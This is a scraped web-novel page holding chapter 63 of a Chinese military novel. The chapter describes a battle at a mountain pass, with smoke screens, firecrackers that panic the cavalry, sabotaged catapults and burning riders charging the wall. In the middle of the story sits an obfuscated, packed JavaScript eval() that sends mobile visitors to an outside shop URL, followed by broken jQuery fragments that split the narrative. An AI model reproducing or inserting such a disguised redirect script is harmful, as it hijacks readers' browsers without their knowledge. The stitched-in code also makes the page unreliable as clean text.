文趣网 > 其他小说 > 风雨同舟渡山河 > 63.这西夷人,也是一条条汉子
    日光继续西斜,天光云影共徘徊,暮色渐近。

    西夷王没有再废话。他拔出弯刀,猛地指向前方。六万西夷铁骑,冲锋在前。

    战马嘶鸣,马蹄如雷,黑色洪流在落日下涌动着冷铁的光泽。西夷骑兵们伏在马背上,弯刀出鞘,刀身映着天边最后一抹残阳,像是握着一条流淌的血河。跟在他们后面的,是北狄的四万铁骑,阵型比西夷铁骑稀疏一些,可刀锋一样亮,马蹄一样沉。

    主力步兵从两侧配合推进,步伐整齐而沉重,脚步声汇成一片沉闷的轰鸣,与马蹄声交织在一起,震得大地都在发抖。

    与此同时,步兵方阵后方升起了几堆巨大的篝火。火堆上堆的不是干柴,是浸了水的湿草和成包的硫磺。湿草一入火堆便发出嗤嗤的响声,水汽和浓烟同时冒出来。硫磺在火焰中融化成黄色的浆液,然后化作一股股刺鼻的黄色烟雾,与湿草的白烟搅在一起。那烟是黄白色的,浓得很,被西北风一吹,贴着地面滚滚向前,朝着狼牙关的方向汹涌而去。

    西北风正对着狼牙关的正面,把浓烟一股脑地灌进了关隘。那烟里混着硫磺的辛辣、湿草焚烧的腥臭、还有战场上原有的焦尸味和血腥气,吸一口就能让人把五脏六腑都咳出来。

    狼牙关隘上的顾家军早有准备。湿布捂住了口鼻,浸过药水的布巾裹住了整个下半张脸,防毒面具扣住了眼眶和鼻梁,只在眼睛的位置露出两道缝隙。士兵们透过烟雾的间隙,望着那道越来越近的黑色洪流。

    顾恩站在垛口后,没有戴面具。他只是用一块浸了草药的湿布随意地捂住了口鼻,露出的一双眼睛依旧沉静如铁。他望着烟幕中那道正在加速冲来的黑色潮水,抬起了手。一声令下,一袋袋炒香的黑豆和麦麸被洒了出去。那些豆子在暮色中划过一道金黄的弧线,落在铁骑冲锋的必经之路上,落在马蹄前面,落在那些低着头的战马鼻子底下。

    西夷战马闻到了香味。那香味太熟悉了——是槽头里的味道,是每天傍晚喂料时的味道,是长途奔袭后终于可以低头吃一口东西的记忆。冲锋在最前面的战马们,不由自主地放慢了速度,伸长了脖子,舌头从马嘴套的缝隙里伸出来,想去舔地上的豆子。有几匹嘴馋的甚至偏了头,把旁边的马挤得一个趔趄。

    可这一次,西夷骑兵们有了准备。他们没有被战马的贪嘴打败。骑手们死死地勒紧了缰绳,马嘴角被铁嚼子扯得渗出了血沫。他们用马刺狠狠地踢着马肚子,踢得战马肋下的皮毛上印出了一个又一个血印。他们加大了鞭打的力量,鞭子抽在马臀上,抽得皮开肉绽。战马吃痛,嘶鸣着昂起了头,不再去看地上的豆子,继续撒开四蹄往前冲。炒豆子的战术,这一次没有奏效。

    顾恩看见了。他的眼睛透过浓烟,看见了那些战马低头又昂起、闻到了香气却继续冲锋的样子。他的眉头没有皱,只是再次抬起了手。爆竹,放。无数爆竹从垛口后方飞了出去。它们在空中翻着跟头,引线在烟幕中冒着橙红色的火星,然后落在铁骑队伍中间,炸开。砰,砰,砰砰砰……

    爆炸声在密集的骑兵队列中此起彼伏,火星四溅,硝烟弥漫。战马的本能再一次战胜了训练——它们怕火,怕巨响,这是刻在骨子里的东西,不是鞭子和马刺能打掉的。

    前排的战马猛地扬起了前蹄,后蹄在地上乱刨,有几匹直接疯了,往侧面横冲过去,撞翻了旁边的骑兵。后排的战马被鞭炮声吓得四蹄发抖,鼻孔里喷着粗重的白气,任凭骑兵怎么踢也不肯往前迈一步。那钢铁般的冲锋阵型,被鞭炮炸出了一个又一个缺口。

    就是现在。顾恩的手再次挥下。滚石。峭壁上,藏在掩体后面的投石兵们松开了绞盘。巨大的滚石从高处滚落,越滚越快,带着碾碎一切的气势砸进了铁骑队伍。

    滚石砸在马身上,马骨碎裂的声音和石头碾过血肉的闷响混在一起,人仰马翻。滚石砸在人身上,人就直接变成了一滩肉泥,连惨叫都来不及发出。那些没有被砸中的铁骑还在继续往前冲——他们从倒下的同伴尸体上踏过去,马蹄踩碎了骨头,踩烂了血肉,却一步不停地往前。

    与此同时,西夷的步兵主力已经开始架设投石车。那是一种专门用来抛掷桐油罐的小型投石车——车身不高,轮子很宽,能在崎岖的山路上推进。士兵们把装满桐油的陶罐一个一个地码放在投石车的弹巢里,然后绞紧绳索,校准角度,准备把桐油罐抛上狼牙关的关墙。只要桐油罐在关墙上碎裂,火箭紧随其后,狼牙关的正面就会和方才的铁骑一样变成一片火海。这是西夷王计划中最致命的环节。

    然而,这些投石车好像不太给力。

    第一枚桐油罐飞了出去,在暮色中画了一条歪歪扭扭的弧线,然后落在离关墙还有十几丈远的地方,砸在了铁骑的队伍里。第二枚也飞了出去,比第一枚飞得远了一点,可还是没够着关墙,落在关墙脚下的碎石堆上。第三枚、第四枚、第五枚——没有一个桐油罐能靠拢关墙。它们要么飞得太近,砸在铁骑的队伍里;要么飞得太偏,砸在关墙两侧的山壁上;要么飞得太低,还没飞到半路就砸在了地上。

    关墙上的弓箭手们看到了。他们不等顾恩下令——战场上的时机稍纵即逝,等命令传到,机会就飞了。弓箭手们迅速点燃火箭,拉满弯弓,朝着那些落在铁骑队伍中的桐油罐射去。

    火箭划破浓烟,精准地扎进了桐油罐碎裂后流淌出的桐油里。轰。火焰再次炸开。桐油遇火即燃,火舌顺着油渍往四面八方蹿,又是一片火海。西夷的铁骑队伍里,火苗再次蹿起,战马哀鸣,士兵惨叫,方才还拼命往前冲的铁骑,此刻又在火焰中挣扎。

    西夷王远远地望着这一幕,气得咬牙切齿。他的手握着弯刀,握得刀鞘都在咯吱作响。那双被风沙磨了几十年的眼睛里,此刻装的不是怒火——是失望,是愤怒,是被自己的人拖了后腿的屈辱。他转过头,目光像一把刀一样戳向站在不远处的拉杜。投石车是拉杜负责督造的,投石的步兵主力是拉杜负责指挥的。现在,这些投石车没有一个能打到关墙上,反而把他自己的铁骑烧了个七零八落。

    “废物!”西夷王的声音像炸雷一样在暮色中炸开,压过了远处的喊杀声和火焰的咆哮声,“拉杜——你督造的是什么狗屁玩意儿!”

    拉杜的脸上闪过一丝极快的表情。那表情太快了,快到没有人能看清——不是恐惧,不是羞耻,是一种“果然如此”的冷漠。那冷漠像一层薄冰,贴在他的脸上,一瞬就被他换成了诚惶诚恐的请罪之色。

    他翻身下马,跪倒在地,额头重重地磕在黄土上,声音里带着恰到好处的惶恐与自责。“大王息怒!是卑职督造不力!请大王给卑职一个戴罪立功的机会——卑职亲自前去指挥主力,一定把这些投石车调到该打的位置上!”

    西夷王甚至没有看他。他的目光已经回到了前方的战场上,回到那片火海里。他挥了挥手,像是赶走一只苍蝇。拉杜从地上爬起来,翻身上马,朝着主力步兵的方向疾驰而去。马蹄扬起的尘土在暮色中拉了一道长长的尾巴。

    西北风越来越大。那风已经不是吹了——是呼啸,是怒吼,是老天爷在用最大的力气往狼牙关的方向吐气。

    火海借了风势,火焰被西北风压得贴着地面往后卷,火舌舔到了更后面的铁骑队伍。滚滚的浓烟也被风推着,从火海上空翻涌而来,朝着狼牙关的关墙扑过去。那浓烟浓得像一堵墙,不,比墙还厚。它顺着峭壁往上爬,风遇到峭壁后不断爬升,把浓烟一层一层地堆叠起来,像一只灰色的巨掌从下往上慢慢地合拢。

    浓烟遮住了一切——遮住了关墙上的垛口,遮住了峭壁上的弓箭手掩体,遮住了投石兵的位置。顾家军的视线被完全切断。弓箭手看不见敌人,只能凭着感觉往下射;投石兵看不见冲锋的铁骑到了哪里,只能凭着经验往下砸。

    顾恩站在浓烟里,他的身影几乎被烟雾吞没。他闭了一下眼睛,感受着风向、风速、烟雾的浓度。然后睁开眼,声音不高,却稳稳地在每一个士兵耳边响起。“守军,向低处撤。”

    这不是撤退。这是暂时避开浓烟的锋芒。浓烟往上走,低处的烟雾会更薄一些。士兵们有序地沿着关墙内侧的台阶往下撤,没有人慌乱,没有人推搡,脚步整齐得像在训练场上。面罩和湿布挡住了大部分的毒烟,可还是有士兵开始咳嗽,喉咙里像塞了一把干辣椒。有人腿一软,旁边的同袍一把架住他的胳膊,把他拖到了低处。没有人被落下。

    就在这片浓烟之中,西夷王的声音穿透了火焰和烟雾,从阵中传出。他骑在战马上,站在火海边缘,手里举着那面金色的狼头战旗,旗面被西北风扯得笔直。他对着那些还在火海里挣扎、还在往前冲锋的骑兵们喊道,声音沙哑而亢奋,每一个字都带着草原之王才有的那种不要命的疯狂:“草原上的汉子们!——给本王往前冲!突破狼牙关隘!用你们的马,用你们的刀,用你们的命!把这道关给本王踏平!”

    那些全身是火的西夷铁骑,听到了大王的命令。他们的铠甲被火烧得通红,贴肉的铁片烫得皮肉嗤嗤作响。他们的手已经被火烧伤了,皮肉粘在了缰绳上,可他们还是紧紧地握着,没有松开。他们的脸被火焰舔过,眉毛烧光了,皮肤上鼓起了密密麻麻的水泡,眼睛被烟熏得几乎睁不开。

    可他们听到了大王的命令。他们没有回头。他们用最后的力气夹紧马肚子,用最后的意识勒紧缰绳,驾着那些浑身裹着火焰的战马,朝着狼牙关的方向,冲了过去。此时的他们,已无所畏惧。他们知道自己活不了了——被火烧成这样,就算撤回去也活不了。那还不如死在冲锋的路上。用自己的尸体,为自己大王冲开狼牙关隘。

    撤到狼牙关隘低处的顾恩,看到了这一幕。他站在烟雾稍微薄一点的位置,透过那层层叠叠的灰色幕布,看见了那些浑身是火、却还在往前冲的西夷骑兵。那不是一个两个,是一群。是一整排……他们身上的火焰在浓烟中明灭闪烁,像一群从地狱里爬出来的恶鬼。他们的战马也在燃烧,火焰从马鬃烧到马尾,可马还在跑,跑得比平时还快——因为那是它们这辈子最后一次奔跑了。

    顾恩被震撼了。他打了半辈子的仗,见过无数不怕死的敌人,可从没见过这样的。这不是战术,不是阵法,不是任何兵书上写过的东西。这是用命在铺路。他握着战刀的手,指节微微收紧了。不是恐惧,是一种对手与对手之间才会有的沉默敬意。他知道,如果换作是他,换作是顾家军被逼到这个地步,他们也会做同样的事。因为这已经不是为了胜利了——这是为了尊严。

    站在他身边的那几位须发全白的老将,也被震撼了。独目老将的独眼透过湿布的缝隙望着那些冲过来的火人火马,那只眼睛里没有恐惧,只有一种复杂的、只有打过一辈子仗的老兵才能读懂的光。他喃喃地说了句:“这帮西夷人,也是一条条汉子。”缺耳老将没有说话,只是把自己那把跟了大半辈子的战刀握得更紧了。瘸腿老将把刀横在膝上,眼神沉默而凝重。

    关隘上的弓箭手们,也被震撼了。他们的手拉着弓,箭搭在弦上,可有一瞬间——只有短短一瞬——他们的手指没有松开。

    因为他们看见,那些冲过来的火人火马里,有一个骑兵已经被烧得看不清面目了,可他还是用一只手死死地拽着缰绳,另一只手举着一面烧得只剩半截的西夷战旗。那旗面已经烧没了大半,剩下的半截还在燃烧,火光里依稀能看见半个狼头。弓弦终究还是响了。震撼归震撼,泪归泪。敌人还是敌人。

    那些带着火的铁骑冲到了关墙下面,可他们已经没有力气再突破了。战马一头撞在关墙下的拒马上,被尖木桩刺穿了胸膛,嘶鸣着倒下。马背上的骑兵被甩了出去,在地上滚了两滚,然后不动了。火焰继续烧着,把人和马烧成一堆分辨不出形状的焦炭。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628072|206141||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就在铁骑冲锋的同时,拉杜正在主力队伍里指挥。他的脸上还挂着方才请罪时那副诚惶诚恐的表情,可他下命令时,声音却稳得很。他让步兵继续发射投石车,可那些投石车的角度,他悄悄调了一下。不是往关墙上打——是往空地打,往没人站的山壁上打,往已经被火烧过、没有铁骑也没有敌人的焦土上打。桐油罐一个接一个地飞出去,砸在无关紧要的位置上,火焰烧得好看,却对狼牙关构不成任何威胁。他嘴上喊着“打准点!往关墙上招呼!”可他的手指的方向,总是偏那么一点点。他向一个他真正效忠的人,献上了一场完美的表演。

    然后,峭壁两侧的空地中,钱副将和张副将同时挥下了手。

    他们是约好的。狼牙关正面最吃紧的那一刻,就是他们出击的信号。两支精锐同时从隐蔽的空地中涌出。他们没有擂鼓,没有喊杀,只是沉默地、快速地、像两把从黑暗中同时刺出的匕首一样,从峭壁的褶皱里冲了出来。左翼是钱副将,右翼是张副将。两支队伍,一左一右,像一把铁钳的两只钳牙,狠狠地咬向了西夷主力部队的腰肋。

    拉杜还没反应过来,他的侧翼就已经被撕开了一道口子。钱副将一马当先,刀光在暮色中翻飞,每一刀劈下去,就有一个西夷步兵倒下。

    张副将在右翼同样凶猛而稳健,他的人像一块移动的铁砧,从右侧碾过去,把西夷步兵的阵型压得不断往中间收缩。两支精锐从两边同时往里夹,就像两把刀从两侧往中间切一块肉——肉再厚,也架不住两面同时下刀。西夷的主力被拦腰截断,铁骑和掩护铁骑两侧的步兵被切割开了。

    拉杜惊了一下。不是装的,是真的。他算计了一切——算计了西夷王的命,算计了暗桩的布置,算计了投石车该往哪里打,可他没算到峭壁下面藏着几千个顾家军的精锐。没算到顾恩在崖壁上藏着这么一手。他本来只想消极配合,让铁骑自己往前冲,让主力在后方磨洋工。

    可现在,顾家军已经打到了他面前。他不能再消极了,再消极就是等死。他不得不拔出弯刀,不得不下令主力军全力抵抗,不得不带着他本想保留的实力,与这些突然冒出来的宁国精锐正面拼杀。拉杜在刀光剑影中挥舞着弯刀,嘴里喊着“顶住!给老子顶住!”心里却在滴血。他不想死在这里,他还有外孙要扶上王位,还有女儿要护,还有一个摄政王的梦没有做完。他一边打,一边往后退,把自己藏在亲卫的身后,把宝贵的兵力往前线填。

    西夷王远远地瞧见了这一幕。他看见拉杜的主力被顾家军缠住了——那些从山缝里冒出来的宁国军队,正像蚂蚁一样咬着他的步兵,咬得死死的。他的两侧主力已经被牵制住了,无法再掩护铁骑冲锋。

    但他没有去救拉杜。他只是冷冷地看了一眼那个方向,然后转过头,继续望着狼牙关。“右将军,带着剩下的步兵——配合铁骑冲锋。”他的声音冷得像一把刀,不带任何感情,“拉杜撑得住就撑,撑不住——就让他死在那边。”

    右将军抱拳领命,带着剩余的步兵从另一侧压了上去。在西夷王的亲自督战下,铁骑还在猛烈冲锋。

    带火的铁骑用最后的生命撞向关墙,倒在拒马和乱石堆中。不带火的铁骑踏过他们的尸体,继续往前,前赴后继,像一波又一波拍在礁石上的黑色海浪。礁石岿然不动,可海浪每一波都在礁石上留下一道刻痕。十道刻痕,百道刻痕,总有那么一刻,礁石会裂开一道缝。

    崖壁上的弓箭手们还在不断地放箭。他们的手指已经被弓弦割破了,指尖的皮肉被反复拉割,渗出了血,把弓弦染成了暗红色。可他们没有停。箭雨一波一波地倾泻在铁骑的头顶上,把那些伏在马背上的骑兵一个一个地射落。

    滚木礌石还在不断滚落而下,砸在铁骑队伍中,砸出一片一片的肉泥。

    西夷铁骑们倒下爬不起来的,停止了冲锋,永远地留在了这片不属于他们的土地上。倒下还爬得起来的,咬着牙从地上爬起来,重新抓住缰绳,重新上马,继续往前。有的人被箭射中了大腿,就把箭杆掰断,继续骑。有的人被滚石砸断了胳膊,就用另一只手握着缰绳,继续冲。

    浓烟滚滚,越过狼牙关,随着西北风朝着阳城关的方向而去。

    阳城关上,薛敬站在垛口前。他的折扇没有展开,只是握在手里,握得指节泛白。远处,那道滚滚而来的浓烟像一堵移动的灰墙,正缓缓地、不可阻挡地朝着阳城关压过来。浓烟意味着什么?意味着狼牙关前还在烧。烧得那么猛,烟浓成这样——说明火攻还在继续,说明铁骑还在前赴后继地往火海里填,说明狼牙关承受的压力还没有减轻。

    顾承宇站在薛敬身边,眉头紧锁。他的目光穿透那滚滚浓烟,望向狼牙关的方向。那里有他的父亲。他的嘴唇动了动,然后他转过头,对薛敬说了一句话,声音低沉而克制,却藏不住那一丝从骨头缝里渗出来的担忧。“狼牙关——怕是即将破了。”

    这不是怯懦的猜测,而是一个冷静的年轻将领对战局的判断。他知道父亲有多强,知道顾家军有多硬。可他也知道,敌人太多了。北狄铁骑、西夷铁骑、源源不断的主力步兵,一波接一波的冲锋,西北风又助长了敌人的攻势。再硬的铁,被反复捶打,也会变形。

    薛敬闭上了眼睛。他那张被几十年军师生涯磨得喜怒不形于色的脸上,此刻终于露出了一丝无法掩饰的疲惫和沉重。他握着折扇,缓缓闭上了眼,像是在聆听远处那些听不见的喊杀声,又像是在心里默默推演着什么。他闭着眼,只说了两个字,声音轻得像是怕被风听见:“将军……”

    顾典站在另一边,他的拳头攥得紧紧的,他没有说话,只是望着那道浓烟,嘴唇抿成一条线。他的大哥在那边。他最敬重、最依赖、从小一直挡在他前面的大哥。他沉着眉头,在心里一遍又一遍地祈求——不是祈求胜利,不是祈求守住关隘,只是祈求大哥活着!